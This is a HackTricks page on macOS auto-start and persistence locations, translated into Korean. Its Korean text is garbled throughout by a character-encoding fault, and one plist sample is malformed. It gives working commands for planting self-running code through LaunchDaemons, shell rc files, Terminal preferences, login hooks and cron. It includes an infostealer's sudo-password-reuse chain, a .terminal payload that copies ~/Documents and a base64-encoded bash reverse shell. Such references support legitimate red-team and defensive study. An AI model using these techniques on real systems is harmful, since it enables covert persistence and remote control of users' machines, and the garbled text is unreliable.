macOS ์๋ ์์
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ์น์ ์ ๋ธ๋ก๊ทธ ์๋ฆฌ์ฆ Beyond the good olโ LaunchAgents๋ฅผ ํฌ๊ฒ ์ฐธ๊ณ ํ์ผ๋ฉฐ, ๋ชฉํ๋ ๊ฐ๋ฅํ ๊ฒฝ์ฐ ๋ ๋ง์ Autostart Locations์ ์ถ๊ฐํ๊ณ , ์ต์ macOS (13.4)์์ ํ์ฌ๋ ๋์ํ๋ ๊ธฐ์ ๋ค์ ํ์ํ๋ฉฐ, ํ์ํ ๊ถํ์ ๋ช ์ํ๋ ๊ฒ์ ๋๋ค.
Sandbox Bypass
Tip
์ฌ๊ธฐ์๋ ํ์ผ์ ๊ธฐ๋กํ๊ณ ๋งค์ฐ ํํ ๋์์ ๊ธฐ๋ค๋ฆฌ๊ฑฐ๋, ์ ํด์ง ์๊ฐ ๊ฒฝ๊ณผ ๋๋ ์๋๋ฐ์ค ๋ด๋ถ์์ ๋ณดํต ์ํํ ์ ์๋ ๋์์ ํตํด ๊ฐ๋จํ ๋ฌด์ธ๊ฐ๋ฅผ ์คํํ ์ ์๊ฒ ํด ์ฃผ๋ sandbox bypass์ ์ ์ฉํ ์์ ์์น๋ค์ด ์ ๋ฆฌ๋์ด ์์ต๋๋ค. ์ด ๋ฐฉ๋ฒ๋ค์ ๋ณดํต root permissions ์์ด ์ํํ ์ ์์ต๋๋ค.
Launchd
Locations
/Library/LaunchAgents- Trigger: Reboot
- Root required
/Library/LaunchDaemons- Trigger: Reboot
- Root required
/System/Library/LaunchAgents- Trigger: Reboot
- Root required
/System/Library/LaunchDaemons- Trigger: Reboot
- Root required
~/Library/LaunchAgents- Trigger: Relog-in
~/Library/LaunchDemons- Trigger: Relog-in
Tip
ํฅ๋ฏธ๋ก์ด ์ฌ์ค๋ก, **
launchd**๋ Mach-o ์น์ __Text.__config์ ์๋ฒ ๋๋๋ property list๋ฅผ ๊ฐ์ง๊ณ ์์ผ๋ฉฐ, ์ฌ๊ธฐ์๋ launchd๊ฐ ์์ํด์ผ ํ๋ ์ ์๋ ค์ง ๋ค๋ฅธ ์๋น์ค๋ค์ด ํฌํจ๋์ด ์์ต๋๋ค. ๋ํ ์ด๋ฌํ ์๋น์ค๋ค์RequireSuccess,RequireRun๋ฐRebootOnSuccess๊ฐ์ ํญ๋ชฉ์ ํฌํจํ ์ ์๋๋ฐ, ์ด๋ ํด๋น ์๋น์ค๋ค์ด ๋ฐ๋์ ์คํ๋์ด ์ฑ๊ณต์ ์ผ๋ก ์๋ฃ๋์ด์ผ ํจ์ ์๋ฏธํฉ๋๋ค.๋ฌผ๋ก , code signing ๋๋ฌธ์ ์์ ํ ์ ์์ต๋๋ค.
์ค๋ช ๋ฐ ์ ์ฉ
**launchd**๋ ๋ถํ
์ OX S ์ปค๋์ ์ํด ์คํ๋๋ ๊ฐ์ฅ ์ฒซ ๋ฒ์งธ ํ๋ก์ธ์ค์ด์ ์ข
๋ฃ ์ ๋ง์ง๋ง์ผ๋ก ์ข
๋ฃ๋๋ ํ๋ก์ธ์ค์
๋๋ค. ํญ์ PID 1์ ๊ฐ์ต๋๋ค. ์ด ํ๋ก์ธ์ค๋ ๋ค์ ์์น๋ค์ ์๋ ASEP plists์ ๋ช
์๋ ์ค์ ์ ์ฝ๊ณ ์คํํฉ๋๋ค:
/Library/LaunchAgents: ๊ด๋ฆฌ์์ ์ํด ์ค์น๋ ์ฌ์ฉ์๋ณ agents/Library/LaunchDaemons: ๊ด๋ฆฌ์์ ์ํด ์ค์น๋ ์์คํ ์ ์ฒด daemons/System/Library/LaunchAgents: Apple์ด ์ ๊ณตํ๋ ์ฌ์ฉ์๋ณ agents/System/Library/LaunchDaemons: Apple์ด ์ ๊ณตํ๋ ์์คํ ์ ์ฒด daemons
์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ๋ฉด /Users/$USER/Library/LaunchAgents ๋ฐ /Users/$USER/Library/LaunchDemons์ ์์นํ plists๊ฐ ๋ก๊ทธ์ธํ ์ฌ์ฉ์์ ๊ถํ์ผ๋ก ์์๋ฉ๋๋ค.
agents์ daemons์ ์ฃผ์ ์ฐจ์ด์ ์ agents๋ ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ ๋ ๋ก๋๋๊ณ daemons๋ ์์คํ ๋ถํ ์ ๋ก๋๋๋ค๋ ์ ์ ๋๋ค(์: ssh ๊ฐ์ ์๋น์ค๋ ์ด๋ค ์ฌ์ฉ์๋ ์์คํ ์ ์ ๊ทผํ๊ธฐ ์ ์ ์คํ๋์ด์ผ ํฉ๋๋ค). ๋ํ agents๋ GUI๋ฅผ ์ฌ์ฉํ ์ ์๋ ๋ฐ๋ฉด daemons๋ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์คํ๋์ด์ผ ํฉ๋๋ค.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>
์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ๊ธฐ ์ ์ agent๊ฐ ์คํ๋์ด์ผ ํ๋ ๊ฒฝ์ฐ๊ฐ ์์ผ๋ฉฐ, ์ด๋ฅผ PreLoginAgents๋ผ๊ณ ํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ๋ก๊ทธ์ธ ์ ๋ณด์กฐ ๊ธฐ์ ์ ์ ๊ณตํ ๋ ์ ์ฉํฉ๋๋ค. ๋ํ /Library/LaunchAgents์์๋ ์ฐพ์ ์ ์์ต๋๋ค(์์ ๋ here ์ฐธ์กฐ).
Tip
New Daemons or Agents config files will be loaded after next reboot or using
launchctl load <target.plist>Itโs also possible to load .plist files without that extension withlaunchctl -F <file>(however those plist files wonโt be automatically loaded after reboot).
Itโs also possible to unload withlaunchctl unload <target.plist>(the process pointed by it will be terminated),Agent๋ Daemon์ด ์คํ๋์ง ๋ชปํ๋๋ก(์: override ๊ฐ์) ์๋ฌด๋ฐ ์์๊ฐ ์๋์ง ํ์ธํ๋ ค๋ฉด ๋ค์์ ์คํํ์ธ์:
sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist
ํ์ฌ ์ฌ์ฉ์์ ์ํด ๋ก๋๋ ๋ชจ๋ agents ๋ฐ daemons๋ฅผ ๋์ด:
launchctl list
์์ ์ ์ฑ LaunchDaemon ์ฒด์ธ (๋น๋ฐ๋ฒํธ ์ฌ์ฌ์ฉ)
A recent macOS infostealer reused a captured sudo password to drop a user agent and a root LaunchDaemon:
- agent ๋ฃจํ๋ฅผ
~/.agent์ ์์ฑํ๊ณ ์คํ ๊ฐ๋ฅํ๋๋ก ๋ง๋ ๋ค. - ํด๋น agent๋ฅผ ๊ฐ๋ฆฌํค๋ plist๋ฅผ
/tmp/starter์ ์์ฑํ๋ค. - ๋์ฉํ ๋น๋ฐ๋ฒํธ๋ฅผ
sudo -S์ ํจ๊ป ์ฌ์ฌ์ฉํ์ฌ ์ด๋ฅผ/Library/LaunchDaemons/com.finder.helper.plist๋ก ๋ณต์ฌํ๊ณ , ์์ ์๋ฅผroot:wheel๋ก ์ค์ ํ ๋ค์launchctl load๋ก ๋ก๋ํ๋ค. - ์ถ๋ ฅ์ ๋ถ๋ฆฌํ๊ธฐ ์ํด
nohup ~/.agent >/dev/null 2>&1 &๋ก agent๋ฅผ ์กฐ์ฉํ ์์ํ๋ค.
printf '%s\n' "$pw" | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist
printf '%s\n' "$pw" | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist
nohup "$HOME/.agent" >/dev/null 2>&1 &
Warning
plist๊ฐ ์ฌ์ฉ์๊ฐ ์์ ํ ๊ฒฝ์ฐ, system wide ๋ฐ๋ชฌ ํด๋์ ์๋๋ผ๋, ์์ ์ ์ฌ์ฉ์๋ก ์คํ๋ฉ๋๋ค(root๊ฐ ์๋). ์ด๋ ์ผ๋ถ ๊ถํ ์์น ๊ณต๊ฒฉ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค.
More info about launchd
**launchd**๋ ์ปค๋์์ ์์๋๋ ์ต์ด์ ์ ์ ๋ชจ๋ ํ๋ก์ธ์ค์
๋๋ค. ํ๋ก์ธ์ค ์์์ ์ฑ๊ณต์ ์ด์ด์ผ ํ๊ณ ์ข
๋ฃํ๊ฑฐ๋ ํฌ๋์ํ ์ ์์ต๋๋ค. ์ผ๋ถ kill ์ ํธ์ ๋ํด์๋ ๋ณดํธ๋์ด ์์ต๋๋ค.
launchd๊ฐ ์ํํ๋ ์ฒซ ๋ฒ์งธ ์์
์ค ํ๋๋ ๋ค์๊ณผ ๊ฐ์ ๋ชจ๋ daemons๋ฅผ ์์ํ๋ ๊ฒ์
๋๋ค:
- Timer daemons based on time to be executed:
- atd (
com.apple.atrun.plist):StartInterval์ด 30๋ถ์ ๋๋ค - crond (
com.apple.systemstats.daily.plist):StartCalendarInterval์ด 00:15์ ์์ํ๋๋ก ์ค์ ๋์ด ์์ต๋๋ค - Network daemons like:
org.cups.cups-lpd: TCP์์ ๋ฆฌ์ค๋ (SockType: stream) ํ๋ฉฐSockServiceName: printer- SockServiceName์ ํฌํธ์ด๊ฑฐ๋
/etc/services์ ์๋น์ค์ฌ์ผ ํฉ๋๋ค com.apple.xscertd.plist: ํฌํธ 1640์ TCP์์ ๋ฆฌ์ค๋ํฉ๋๋ค- Path daemons that are executed when a specified path changes:
com.apple.postfix.master:/etc/postfix/aliases๊ฒฝ๋ก๋ฅผ ์ฒดํฌํฉ๋๋ค- IOKit notifications daemons:
com.apple.xartstorageremoted:"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...- Mach port:
com.apple.xscertd-helper.plist:MachServicesํญ๋ชฉ์com.apple.xscertd.helper๋ผ๋ ์ด๋ฆ์ ํ์ํฉ๋๋ค- UserEventAgent:
- ์ด์ ํญ๋ชฉ๊ณผ๋ ๋ค๋ฆ
๋๋ค. ํน์ ์ด๋ฒคํธ์ ๋ฐ์ํ์ฌ
launchd๊ฐ ์ฑ์ ์์ฑํ๊ฒ ๋ง๋ญ๋๋ค. ๋ค๋ง ์ด ๊ฒฝ์ฐ ๊ด๋ จ๋ ๋ฉ์ธ ๋ฐ์ด๋๋ฆฌ๋launchd๊ฐ ์๋๋ผ/usr/libexec/UserEventAgent์ ๋๋ค. ์ด ๋ฐ์ด๋๋ฆฌ๋ SIP๋ก ์ ํ๋ ํด๋์ธ /System/Library/UserEventPlugins/์์ ํ๋ฌ๊ทธ์ธ์ ๋ก๋ํ๋ฉฐ, ๊ฐ ํ๋ฌ๊ทธ์ธ์XPCEventModuleInitializerํค์ ์ด๊ธฐํ๊ธฐ๋ฅผ ํ์ํ๊ฑฐ๋, ์ด์ ํ๋ฌ๊ทธ์ธ์ ๊ฒฝ์ฐInfo.plist์CFPluginFactoriesdict์์FB86416D-6164-2070-726F-70735C216EC0ํค ์๋์ ํ์ํฉ๋๋ค.
shell startup files
Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/
- Useful to bypass sandbox: โ
- TCC Bypass: โ
- But you need to find an app with a TCC bypass that executes a shell that loads these files
Locations
~/.zshrc,~/.zlogin,~/.zshenv.zwc,~/.zshenv,~/.zprofile- Trigger:
zsh์ผ๋ก ํฐ๋ฏธ๋์ ์ด ๋ /etc/zshenv,/etc/zprofile,/etc/zshrc,/etc/zlogin- Trigger:
zsh์ผ๋ก ํฐ๋ฏธ๋์ ์ด ๋ - ๋ฃจํธ ๊ถํ ํ์
~/.zlogout- Trigger:
zshํฐ๋ฏธ๋์ ์ข ๋ฃํ ๋ /etc/zlogout- Trigger:
zshํฐ๋ฏธ๋์ ์ข ๋ฃํ ๋ - ๋ฃจํธ ๊ถํ ํ์
- ์ถ๊ฐ ์ ๋ณด:
man zsh ~/.bashrc- Trigger:
bash๋ก ํฐ๋ฏธ๋์ ์ด ๋ /etc/profile(๋์ํ์ง ์์)~/.profile(๋์ํ์ง ์์)~/.xinitrc,~/.xserverrc,/opt/X11/etc/X11/xinit/xinitrc.d/- Trigger: xterm์ผ๋ก ํธ๋ฆฌ๊ฑฐ๋ ๊ฒ์ผ๋ก ์์๋์ง๋ง, xterm์ ์ค์น๋์ด ์์ง ์์์ด๋ฉฐ ์ค์น ํ์๋ ๋ค์ ์ค๋ฅ๊ฐ ๋ฐ์ํจ: xterm:
DISPLAY is not set
Description & Exploitation
zsh๋ bash์ ๊ฐ์ ์
ธ ํ๊ฒฝ์ ์์ํ๋ฉด ํน์ startup ํ์ผ๋ค์ด ์คํ๋ฉ๋๋ค. macOS๋ ํ์ฌ ๊ธฐ๋ณธ ์
ธ๋ก /bin/zsh๋ฅผ ์ฌ์ฉํฉ๋๋ค. ์ด ์
ธ์ Terminal ์ ํ๋ฆฌ์ผ์ด์
์ ์คํํ ๋๋ SSH๋ก ์ฅ์น์ ์ ์ํ ๋ ์๋์ผ๋ก ์ฌ์ฉ๋ฉ๋๋ค. bash์ sh๋ macOS์ ์กด์ฌํ์ง๋ง, ๋ช
์์ ์ผ๋ก ํธ์ถํด์ผ ์ฌ์ฉ๋ฉ๋๋ค.
man zsh(์ฆ, man zsh)์ ๋งค๋ด์ผ ํ์ด์ง์๋ startup ํ์ผ๋ค์ ๋ํ ๊ธด ์ค๋ช
์ด ์์ต๋๋ค.
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
๋ค์ ์ด๋ฆฌ๋ ์ ํ๋ฆฌ์ผ์ด์
Caution
์ง์ ๋ exploitation์ ๊ตฌ์ฑํ๊ณ ๋ก๊ทธ์์/๋ก๊ทธ์ธ ๋๋ ์ฌ๋ถํ ์ ์๋ํ์ง๋ง ์ฑ์ ์คํํ๋ ๋ฐ ์ฑ๊ณตํ์ง ๋ชปํ์ต๋๋ค. (์ฑ์ด ์คํ๋์ง ์์์ต๋๋ค โ ์๋ง๋ ์ด๋ฌํ ๋์์ด ์ํ๋ ๋ ์ฑ์ด ์ด๋ฏธ ์คํ ์ค์ด์ด์ผ ํ ์ ์์ต๋๋ค)
Writeup: https://theevilbit.github.io/beyond/beyond_0021/
์์น
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist- ํธ๋ฆฌ๊ฑฐ: ์ฌ์์ ์ ์ ํ๋ฆฌ์ผ์ด์ ์ฌ์ด๋ฆผ
์ค๋ช ๋ฐ Exploitation
๋ค์ ์ด๋ฆด ๋ชจ๋ ์ ํ๋ฆฌ์ผ์ด์
์ plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist ์์ ์์ต๋๋ค.
๋ฐ๋ผ์ ์ฌ์ด๋ฆด ์ ํ๋ฆฌ์ผ์ด์ ์ด ๋น์ ์ ์ฑ์ ์คํํ๋๋ก ๋ง๋ค๋ ค๋ฉด, ๋จ์ํ ๋ชฉ๋ก์ ๋น์ ์ ์ฑ์ ์ถ๊ฐํ๋ฉด ๋ฉ๋๋ค.
UUID๋ ํด๋น ๋๋ ํ ๋ฆฌ๋ฅผ ๋์ดํ๊ฑฐ๋ ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}' ๋ช
๋ น์ผ๋ก ์ฐพ์ ์ ์์ต๋๋ค.
์ฌ์ด๋ฆด ์ ํ๋ฆฌ์ผ์ด์ ์ ํ์ธํ๋ ค๋ฉด ๋ค์์ ์คํํ ์ ์์ต๋๋ค:
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
์ด ๋ชฉ๋ก์ ์ ํ๋ฆฌ์ผ์ด์ ์ ์ถ๊ฐํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
Terminal Preferences
- sandbox ์ฐํ์ ์ ์ฉ: โ
- TCC ์ฐํ: โ
- Terminal์ ์ฌ์ฉํ๋ฉด ์ฌ์ฉ์์ FDA ๊ถํ์ ๊ฐ์ง ์ ์์
Location
~/Library/Preferences/com.apple.Terminal.plist- Trigger: Terminal ์ด๊ธฐ
์ค๋ช & Exploitation
In **~/Library/Preferences**์๋ ์ ํ๋ฆฌ์ผ์ด์
์ ์ฌ์ฉ์ ํ๊ฒฝ์ค์ ์ด ์ ์ฅ๋์ด ์๋ค. ์ด ํ๊ฒฝ์ค์ ๋ค ์ค ์ผ๋ถ๋ ๋ค๋ฅธ ์ ํ๋ฆฌ์ผ์ด์
/์คํฌ๋ฆฝํธ ์คํ์ ๊ตฌ์ฑํ ์ ์๋ค.
For example, the Terminal can execute a command in the Startup:
.png)
This config is reflected in the file ~/Library/Preferences/com.apple.Terminal.plist like this:
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
๋ฐ๋ผ์ ์์คํ
์ terminal ํ๊ฒฝ์ค์ plist๋ฅผ ๋ฎ์ด์ธ ์ ์๋ค๋ฉด, open ๊ธฐ๋ฅ์ ์ฌ์ฉํด terminal์ ์ด๊ณ ๊ทธ ๋ช
๋ น์ด ์คํ๋๋๋ก ํ ์ ์์ต๋๋ค.
๋ค์์ cli์์ ์ถ๊ฐํ๋ ๋ฐฉ๋ฒ์ ๋๋ค:
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
Terminal ์คํฌ๋ฆฝํธ / ๊ธฐํ ํ์ผ ํ์ฅ์
- sandbox ์ฐํ์ ์ ์ฉ: โ
- TCC bypass: โ
- Terminal์ ํด๋น ์ฌ์ฉ์๊ฐ ๋ถ์ฌํ FDA ๊ถํ์ ๊ฐ์ง๊ฒ ๋ฉ๋๋ค.
Location
- Anywhere
- Trigger: Terminal ์ด๊ธฐ
์ค๋ช ๋ฐ ์ ์ฉ
If you create a .terminal script and opens, the Terminal application will be automatically invoked to execute the commands indicated in there. If the Terminal app has some special privileges (such as TCC), your command will be run with those special privileges.
Try it with:
# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
You could also use the extensions .command, .tool, with regular shell scripts content and they will be also opened by Terminal.
Caution
If terminal has Full Disk Access it will be able to complete that action (note that the command executed will be visible in a terminal window).
์ค๋์ค ํ๋ฌ๊ทธ์ธ
Writeup: https://theevilbit.github.io/beyond/beyond_0013/
Writeup: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882
- ์๋๋ฐ์ค ์ฐํ์ ์ ์ฉ: โ
- TCC ์ฐํ: ๐
- ์ถ๊ฐ์ ์ธ TCC ์ ๊ทผ ๊ถํ์ ์ป์ ์ ์์ต๋๋ค
์์น
/Library/Audio/Plug-Ins/HAL- ๋ฃจํธ ๊ถํ ํ์
- ํธ๋ฆฌ๊ฑฐ: coreaudiod ๋๋ ์ปดํจํฐ ์ฌ์์
/Library/Audio/Plug-ins/Components- ๋ฃจํธ ๊ถํ ํ์
- ํธ๋ฆฌ๊ฑฐ: coreaudiod ๋๋ ์ปดํจํฐ ์ฌ์์
~/Library/Audio/Plug-ins/Components- ํธ๋ฆฌ๊ฑฐ: coreaudiod ๋๋ ์ปดํจํฐ ์ฌ์์
/System/Library/Components- ๋ฃจํธ ๊ถํ ํ์
- ํธ๋ฆฌ๊ฑฐ: coreaudiod ๋๋ ์ปดํจํฐ ์ฌ์์
์ค๋ช
์์ writeups์ ๋ฐ๋ฅด๋ฉด ํน์ ์ค๋์ค ํ๋ฌ๊ทธ์ธ์ ์ปดํ์ผํ์ฌ ๋ก๋๋๊ฒ ํ ์ ์์ต๋๋ค.
QuickLook ํ๋ฌ๊ทธ์ธ
Writeup: https://theevilbit.github.io/beyond/beyond_0028/
- ์๋๋ฐ์ค ์ฐํ์ ์ ์ฉ: โ
- TCC ์ฐํ: ๐
- ์ถ๊ฐ์ ์ธ TCC ์ ๊ทผ ๊ถํ์ ์ป์ ์ ์์ต๋๋ค
์์น
/System/Library/QuickLook/Library/QuickLook~/Library/QuickLook/Applications/AppNameHere/Contents/Library/QuickLook/~/Applications/AppNameHere/Contents/Library/QuickLook/
์ค๋ช ๋ฐ ์ ์ฉ
QuickLook ํ๋ฌ๊ทธ์ธ์ ํ์ผ์ ๋ฏธ๋ฆฌ๋ณด๊ธฐ๋ฅผ ํธ๋ฆฌ๊ฑฐํ ๋(Finder์์ ํ์ผ์ ์ ํํ ์ํ๋ก ์คํ์ด์ค ๋ฐ๋ฅผ ๋๋ฆ) ๊ทธ๋ฆฌ๊ณ ํด๋น ํ์ผ ํ์์ ์ง์ํ๋ ํ๋ฌ๊ทธ์ธ์ด ์ค์น๋์ด ์์ผ๋ฉด ์คํ๋ ์ ์์ต๋๋ค.
์์ฒด QuickLook ํ๋ฌ๊ทธ์ธ์ ์ปดํ์ผํ์ฌ ์์ ์ธ๊ธํ ์์น ์ค ํ๋์ ๋ฐฐ์นํ๋ฉด ๋ก๋๋๊ณ , ์ง์๋๋ ํ์ผ๋ก ๊ฐ์ ์คํ์ด์ค ๋ฐ๋ฅผ ๋๋ฌ ํธ๋ฆฌ๊ฑฐํ ์ ์์ต๋๋ค.
๋ก๊ทธ์ธ/๋ก๊ทธ์์ Hooks
Caution
This didnโt work for me, neither with the user LoginHook nor with the root LogoutHook
Writeup: https://theevilbit.github.io/beyond/beyond_0022/
์์น
- ๋ค์๊ณผ ๊ฐ์ ๋ช
๋ น์ ์คํํ ์ ์์ด์ผ ํฉ๋๋ค:
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh Located in~/Library/Preferences/com.apple.loginwindow.plist
์ด๋ค์ ๋ ์ด์ ๊ถ์ฅ๋์ง ์์ง๋ง, ์ฌ์ฉ์๊ฐ ๋ก๊ทธ์ธํ ๋ ๋ช ๋ น์ ์คํํ๋ ๋ฐ ์ฌ์ฉํ ์ ์์ต๋๋ค.
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
์ด ์ค์ ์ /Users/$USER/Library/Preferences/com.apple.loginwindow.plist์ ์ ์ฅ๋ฉ๋๋ค
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
์ญ์ ํ๋ ค๋ฉด:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
The root user one is stored in /private/var/root/Library/Preferences/com.apple.loginwindow.plist
์กฐ๊ฑด๋ถ Sandbox Bypass
Tip
์ฌ๊ธฐ์๋ sandbox bypass์ ์ ์ฉํ ์์ ์์น๋ค์ ์ฐพ์ ์ ์์ต๋๋ค. ์ด๋ ๋ฌด์ธ๊ฐ๋ฅผ ๋จ์ํ ํ์ผ์ ์จ ๋ฃ์ด์ ์คํํ๊ฒ ํ๊ฑฐ๋, ํน์ ํ๋ก๊ทธ๋จ์ด ์ค์น๋์ด ์์, ๋๋
"๋ ํํ" ์ฌ์ฉ์๋์์ด๋ ํ๊ฒฝ ๊ฐ์ ํํ์ง ์์ ์กฐ๊ฑด๋ค์ ์ ์ ๋ก ํ๋ ๊ฒฝ์ฐ์ ์ ์ฉํฉ๋๋ค.
Cron
์์ฑ: https://theevilbit.github.io/beyond/beyond_0004/
- sandbox ์ฐํ์ ์ ์ฉ: โ
- ํ์ง๋ง
crontab๋ฐ์ด๋๋ฆฌ๋ฅผ ์คํํ ์ ์์ด์ผ ํจ - ๋๋ root ๊ถํ ํ์
- TCC bypass: ๐ด
์์น
/usr/lib/cron/tabs/,/private/var/at/tabs,/private/var/at/jobs,/etc/periodic/- ์ง์ ์ฐ๊ธฐ ์ ๊ทผ์๋ root ํ์.
crontab <file>์ ์คํํ ์ ์์ผ๋ฉด root ๋ถํ์ - Trigger: cron job์ ๋ฐ๋ผ ๋ค๋ฆ
์ค๋ช & Exploitation
๋ค์ ๋ช ๋ น์ผ๋ก ํ์ฌ ์ฌ์ฉ์์ cron job์ ๋์ด:
crontab -l
๋ํ ๋ชจ๋ ์ฌ์ฉ์๋ค์ cron jobs๋ /usr/lib/cron/tabs/ ๋ฐ **/var/at/tabs/**์์ ํ์ธํ ์ ์์ต๋๋ค (root ๊ถํ ํ์).
MacOS์์๋ ์คํฌ๋ฆฝํธ๋ฅผ ํน์ ์ฃผ๊ธฐ๋ก ์คํํ๋ ์ฌ๋ฌ ํด๋๋ฅผ ๋ค์ ์์น์์ ์ฐพ์ ์ ์์ต๋๋ค:
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
๊ฑฐ๊ธฐ์์ ์ ๊ธฐ์ ์ธ cron jobs, at jobs (๊ทธ๋ฆฌ ์์ฃผ ์ฌ์ฉ๋์ง๋ ์์) ๋ฐ periodic jobs (์ฃผ๋ก ์์ ํ์ผ ์ ๋ฆฌ์ ์ฌ์ฉ๋จ)๋ฅผ ์ฐพ์ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ์ผ์ผ periodic ์์
์ ๋ค์๊ณผ ๊ฐ์ด ์คํํ ์ ์์ต๋๋ค: periodic daily.
user cronjob programatically๋ฅผ ์ถ๊ฐํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
iTerm2
๋ถ์: https://theevilbit.github.io/beyond/beyond_0002/
- bypass sandbox์ ์ ์ฉ: โ
- TCC bypass: โ
- iTerm2๋ ์ด์ ์ TCC ๊ถํ์ ๋ถ์ฌ๋ฐ์ ์ ์ด ์์
์์น
~/Library/Application Support/iTerm2/Scripts/AutoLaunch- ํธ๋ฆฌ๊ฑฐ: Open iTerm
